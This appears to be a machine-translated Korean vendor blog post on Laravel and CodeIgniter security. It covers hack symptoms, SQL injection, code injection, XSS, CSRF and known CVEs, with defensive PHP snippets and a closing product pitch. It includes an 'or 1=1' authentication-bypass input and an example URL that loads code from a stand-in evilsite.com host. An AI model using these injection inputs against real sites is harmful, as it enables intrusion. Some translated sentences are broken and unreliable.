Laravel과 CodeIgniter는 웹사이트를 구축하는 데 사용되는 두 가지 인기 있는 오픈 소스 PHP 프레임워크입니다. 그러나 이러한 프레임워크를 사용하여 사이트를 배포한다고 해서 사이트가 안전한 것은 아닙니다. 중요한 것은 안전한 개발 방식입니다. CodeIgniter 및 Laravel의 SQL 삽입은 도움말 포럼에서 가장 일반적인 보안 주제 중 하나입니다. SQLi 외에도 안전하지 않은 개발 관행은 사이트를 XSS, CSRF, RFI 공격 등에 취약하게 만듭니다.
Laravel/CodeIgniter 해킹된 웹사이트의 예
CodeIgniter 또는 Laravel의 SQL 주입과 같은 일반적이고 광범위한 공격은 웹사이트를 손상시킬 수 있습니다. Laravel 커뮤니티 포럼 또는 CodeIgniter 커뮤니티 포럼에서 유사한 공격을 받고 있는 많은 사용자가 도움을 요청하는 것을 볼 수 있습니다. 예는 다음과 같습니다.
CodeIgniter 또는 Laravel Hacks의 증상
- 웹사이트에서 민감한 정보를 도용하도록 설계된 Laravel 또는 CodeIgniter 피싱 페이지를 찾습니다.
- 사용자가 악성 사이트로 리디렉션되는 것에 대해 불평합니다.
- 일본어 키워드 핵 또는 파마 핵 등으로 인해 Laravel 또는 CodeIgniter 사이트에 의미 없는 콘텐츠가 나타납니다.
- Laravel 또는 CodeIgniter 웹사이트가 매우 느려지고 오류 메시지가 표시됩니다.
- 타사 호스팅을 사용하는 동안 '계정이 일시 중지되었습니다!'라는 메시지가 나타납니다.
- 당신의 Laravel 또는 CodeIgniter 사이트는 검색 엔진에 의해 블랙리스트에 올라갑니다.
- 오류 로그는 사이트의 CodeIgniter에서 SQL 주입과 같은 특정 공격을 보여줍니다.
- 로그는 원격 IP에서 웹사이트에 대한 로그인을 보여줍니다.
- 새로운 불량 관리자가 웹사이트의 로그인 데이터베이스에 나타납니다.
일반적인 취약점 및 해킹
1) CodeIgniter/Laravel의 주입 공격
a) SQL 주입
CodeIgniter의 SQL 주입은 매우 일반적이고 널리 퍼진 공격입니다. 이름에서 알 수 있듯이 공격은 서버의 데이터베이스를 대상으로 합니다. Codeigniter에서 SQL 주입을 악용하여 공격자는 다음을 수행할 수 있습니다.
- 데이터베이스에서 데이터를 검색합니다.
- 데이터베이스의 내용을 편집합니다. 또한 전체 데이터베이스를 삭제할 수도 있습니다!
- 경우에 따라 리버스 쉘을 얻을 수 있습니다.
or 1=1
와 같은 입력을 사용하여 인증 우회 .
b) PHP 코드 삽입
PHP 코드 삽입은 공격자가 Laravel/CodeIgniter 웹사이트에서 코드를 실행할 수 있도록 하는 또 다른 유형의 일반적인 취약점입니다. 그러나 공격자가 특정 언어의 명령만 실행할 수 있다는 점에서 명령 주입과 다릅니다.
명령 주입을 통해 공격자는 리버스 셸을 통해 명령을 실행할 수 있습니다. 예를 들어 취약한 매개변수는 https://testsite.com/?page=https://evilsite.com/evilcode.php
과 같이 실행할 PHP 코드가 포함된 악성 파일에 대한 링크와 함께 제공될 수 있습니다. .
이 파일에는 phpinfo()
과 같은 함수가 포함될 수 있습니다. , 정보를 얻는 데 사용할 수 있습니다.
2) 사이트 간 스크립팅
XSS 취약점은 입력 삭제의 부족으로 인해 Laravel/CodeIgniter 웹사이트에서 발생합니다. 두 프레임워크에는 이러한 공격을 방지하도록 특별히 설계된 보안 기능이 있습니다. XSS 공격을 악용하여 공격자는 다음을 수행할 수 있습니다.
- 쿠키 및 기타 민감한 세션 데이터를 훔치기 위해 사용자를 피싱합니다.
- 사용자를 악성 사이트로 리디렉션합니다.
- 동일 출처 정책 우회.
3) 사이트 간 요청 위조
이 공격은 사용자가 원치 않는 작업을 수행하도록 속이는 것을 목표로 합니다. 그러나 데이터 조작(예:양식 삭제)에만 사용할 수 있지만 훔치거나 읽을 수는 없습니다. 최악의 경우 피해자가 관리자인 경우 전체 애플리케이션이 파괴될 수 있습니다. 이 공격은 소셜 엔지니어링 트릭을 사용하여 피해자가 백그라운드에서 계정 삭제와 같은 명령을 실행하는 링크를 클릭하도록 유인합니다.
이러한 일반적인 취약점 외에도 CodeIgniter 및 Laravel과 관련된 몇 가지 취약점이 있습니다.
4) CodeIgniter의 알려진 취약점
- 권한 상승(CVE-2020-10793):
CodeIgniter 버전 4.0.0을 통해 원격 공격자는 수정된 이메일 ID를 통해 "사용자 역할 선택" 페이지에 대한 권한을 얻을 수 있습니다.
- 세션 고정(CVE-2018-12071):
세션 라이브러리의 session.use_strict_mode가 잘못 처리되어 버전 3.1.9 이전의 CodeIgniter에 세션 고정 문제가 존재합니다.
- XML 외부 엔티티 문제(CVE-2015-3907):
CodeIgniter Rest Server(일명 codeigniter-restserver) 2.7.1은 XXE 공격을 허용합니다.
5) Laravel의 알려진 취약점
- 디버그 모드:원격 코드 실행 (CVE-2021-3129 )
RCE 취약점이 laravel CMS(버전 Laravel <=v8.4.2 2020년 11월 말. (출처)
- 정보 노출(CVE-2020-13909):
Laravel용 버전 2.0.5 이전의 Ignition 페이지는 전역 변수, _get, _post, _cookie 및 _env를 잘못 처리합니다. 이를 통해 원격 공격자는 잠재적으로 민감한 정보에 액세스할 수 있습니다.
- 역직렬화(CVE-2019-9081):
Laravel Framework 5.7.x의 Illuminate 구성 요소에는 PendingCommand.php에 있는 PendingCommand 클래스의 __destruct 메서드와 관련하여 콘텐츠가 제어 가능한 경우 원격 코드 실행으로 이어질 수 있는 역직렬화 취약점이 있습니다.
Laravel 또는 CodeIgniter를 사용하는 웹사이트가 해킹되었습니까? 채팅 위젯에 메시지를 남겨주세요.
CodeIgniter/Laravel 웹사이트 보호
CodeIgniter에서 SQL 주입 방지
CodeIgniter에는 수많은 보안 기능이 있습니다. 그들 중 일부는 SQL 주입을 피하기 위한 함수와 라이브러리를 포함합니다. 다음은 이러한 기능을 사용하여 공격을 피할 수 있는 세 가지 방법입니다.
1. CodeIgniter에서 쿼리 이스케이프
데이터를 PHP 애플리케이션에 제출하기 전에 이스케이프 처리하면 데이터가 삭제됩니다. 정기적으로 따라야 하는 보안 관행 중 하나입니다. 이스케이프 쿼리는 세 가지 방법을 통해 완료할 수 있습니다.
- $this->db->escape(): 이스케이프하기 전에 데이터 유형을 결정합니다.
- $this->db->escape_str(): 데이터 유형을 결정하지 않고 단순히 이스케이프합니다.
- $this->db->escape_like_str(): 조건과 함께 사용할 수 있습니다.
예를 들어 아래에 제공된 코드 스니펫을 보십시오.
<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>
이 코드에서 $this->db->escape() 함수는 먼저 문자열 데이터만 이스케이프하도록 데이터 유형을 결정합니다. 또한 입력 데이터 주위에 작은 따옴표를 자동으로 추가합니다. 이것은 CodeIgniter에서 SQL 주입을 방지합니다.
2. Codeigniter의 바인딩 쿼리
입력을 삭제하는 것 외에도 바인딩 쿼리는 CodeIgniter 웹사이트의 코드를 단순화할 수도 있습니다. 이 방법을 사용하면 시스템에서 쿼리를 입력할 수 있으므로 개발자의 복잡성이 줄어듭니다. 예를 들어, 아래에 제공된 코드 스니펫을 보십시오.
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', '[email protected]'));?>
여기서 첫 번째 줄에 값 대신 물음표가 표시될 수 있습니다. 쿼리 바인딩으로 인해 이러한 물음표는 두 번째 줄의 배열 값에서 대체됩니다. 이전 예에서 수동 쿼리 이스케이프를 보았습니다. 여기에서 이 방법은 자동으로 수행하여 CodeIgniter에서 SQL 주입을 중지합니다.
3. CodeIgniter의 활성 클래스 레코드
CodeIgniter의 활성 레코드 기능을 사용하면 최소한의 코드 또는 스크립팅으로 데이터베이스 작업을 수행할 수 있습니다. 시스템 자체의 기능이므로 쿼리 이스케이프가 자동으로 수행됩니다. 예를 들어, 테이블의 모든 데이터는 하나의 간단한 쿼리로 검색할 수 있습니다.
$query = $this->db->get('mytable');
라라벨에서 SQL 주입 방지
Laravel의 객체 관계형 매핑은 PHP 객체 데이터 바인딩을 사용하여 사용자 입력을 삭제하여 Laravel의 SQL 주입을 방지합니다. 매개변수 바인딩은 따옴표도 자동으로 추가하여 또는 1=1과 같은 위험한 입력을 방지합니다. 인증 우회에서.
다음은 Laravel에서 명명된 바인딩 쿼리의 구현입니다.
$results = DB::select('select * from users where id = :id', ['id' => 1]);
Codeigniter에서 사이트 간 스크립팅 방지
가능한 XSS 공격을 방지하기 위해 CodeIgniter는 사전 구축된 XSS 필터와 함께 제공됩니다. 이 필터가 악의적인 요청을 만나면 이를 문자 엔터티로 변환하여 애플리케이션을 안전하게 유지합니다. 이 필터는 xss_clean()을 통해 액세스할 수 있습니다. 방법:
$data = $this->security->xss_clean($data);
그러나 때때로 공격자는 이미지 파일에 악성 코드를 삽입할 수 있습니다. 이러한 공격을 방지하기 위해 업로드된 파일의 보안도 확인할 수 있습니다. 예를 들어, 아래 주어진 코드를 보십시오:
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file failed the XSS test
}
이 코드는 True의 부울 값을 반환합니다. 이미지가 안전한 경우와 그 반대의 경우도 마찬가지입니다. 그러나 html_escape()를 사용하는 것이 좋습니다. HTML 속성 값을 필터링하려면 메소드를 사용하십시오.
Laravel에서 교차 사이트 스크립팅 방지
이스케이프 문자열을 사용하면 Laravel 웹사이트에서 XSS 공격을 피할 수 있습니다. 이스케이프 문자열은 정제되지 않은 입력이 구현되는 것을 방지합니다. Laravel 버전> 5.1에서는 이 기능이 기본적으로 활성화되어 있습니다. 따라서
사용자 제공 입력의 길이를 제한하면 특정 유형의 XSS 및 SQLi 공격도 방지할 수 있습니다. 이것은 아래에 제공된 HTML 코드를 통해 수행할 수 있습니다.
<input type="text" name="task" maxlength="10">
JS 함수를 통해 동일하게 구현할 수 있습니다. {% raw %} {{}} {% endraw %} Laravel의 구문은 기본적으로 전달되는 악성 HTML 엔티티를 이스케이프할 수 있습니다.
Laravel XSS를 방지하도록 특별히 설계된 특정 라이브러리가 있습니다. Blade와 같은 템플릿 엔진을 사용하면 이러한 공격을 방지하기 위해 자동으로 이스케이프를 사용합니다.
CodeIgniter에서 CSRF 공격 방지
CSRF 보호는 application/config/config.php 파일을 편집하여 CodeIgniter에서 활성화할 수 있습니다. 파일에 다음 코드를 추가하기만 하면 됩니다.
$config['csrf_protection'] = TRUE;
양식 도우미를 사용하는 경우 form_open() 함수를 사용할 수 있습니다. 기본적으로 양식에 숨겨진 CSRF 토큰 필드를 삽입합니다. CSRF 보호를 구현하는 다른 방법은 get_csrf_token_name()을 사용하는 것입니다. 및 get_csrf_hash() . 참고로 양식과 서버측 구현에 대해 아래에 제공된 두 코드 스니펫을 살펴보세요.
<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />
———————————————————————
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());
토큰 재생성은 CodeIgniter CSRF 공격을 방지하는 또 다른 안전한 방법입니다. 그러나 사용자가 다른 탭으로 이동한 후 재확인이 필요할 수 있으므로 토큰 재생성은 문제가 될 수 있습니다. 토큰 재생성은 다음 구성 매개변수로 수행할 수 있습니다.
$config['csrf_regenerate'] = TRUE;
라라벨에서 CSRF 공격 방지
토큰은 CSRF 공격으로부터 보호하기 위해 Laravel 형식으로 구현됩니다. 그런 다음 이러한 토큰은 각 양식에 포함된 AJAX 호출을 사용하여 호출됩니다. 요청 토큰의 데이터는 사용자 세션의 이상 여부를 확인하기 위해 서버에 저장된 데이터와 일치합니다. CSRF 토큰은 다음 코드를 사용하여 양식에 전달할 수 있습니다(Blade 템플릿 구현):
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>
그러나 LaravelCollective/HTML 패키지를 사용하는 동안 CSRF 토큰을 기본적으로 추가할 수 있습니다.
CodeIgniter에서 오류 보고 차단
파일 오류는 개발 환경에서 유용합니다. 그러나 웹에서 CodeIgniter 파일 오류는 잠재적으로 민감한 정보를 공격자에게 유출할 수 있습니다. 따라서 오류 보고를 끄는 것이 안전한 방법입니다.
PHP 오류
PHP 오류 보고를 끄려면 index.php 파일을 사용하십시오. error_reporting() 함수에 인수로 0을 전달하기만 하면 됩니다. 참조를 위해 아래에 제공된 예를 보십시오.
error_reporting(0);
그러나 CodeIgniter 버전 2.0.1 이상에서는 index.php의 환경 상수가 PHP 오류 출력을 비활성화하기 위해 파일을 "프로덕션"으로 설정할 수 있습니다.
데이터베이스 오류
application/config/database.php를 편집하여 데이터베이스 오류를 비활성화할 수 있습니다. 파일. db_debug 옵션을 FALSE로 설정하기만 하면 됩니다. 참조를 위해 아래에 제공된 예를 보십시오.
$db['default']['db_debug'] = FALSE;
오류 기록
이를 수행하는 현명한 방법은 발생하는 오류를 로그 파일로 전송하여 표시되지 않도록 하는 것입니다. /config/config.php 의 로그 임계값 옵션 이를 위해 파일을 1로 설정할 수 있습니다. 아래에 주어진 예를 보십시오:
$config['log_threshold'] = 1;
Laravel 또는 CodeIgniter용 웹 애플리케이션 방화벽 사용
공격자는 사이트를 손상시킬 수 있는 새로운 방법을 끊임없이 찾고 있습니다. 따라서 또 다른 보안 방법은 방화벽이나 일종의 보안 솔루션을 사용하는 것입니다. Astra Security는 유연한 요구 사항을 충족하도록 설계된 보안 솔루션 중 하나입니다. 채팅 위젯에 메시지를 남기고 웹사이트 보안에 한 걸음 더 다가가십시오. 지금 데모를 받으세요!
Astra Security는 자동 및 수동 테스트가 적절히 혼합된 80개 이상의 활성 테스트를 통해 Laravel 또는 CodeIgniter 웹사이트에 대한 포괄적인 보안 감사를 제공합니다.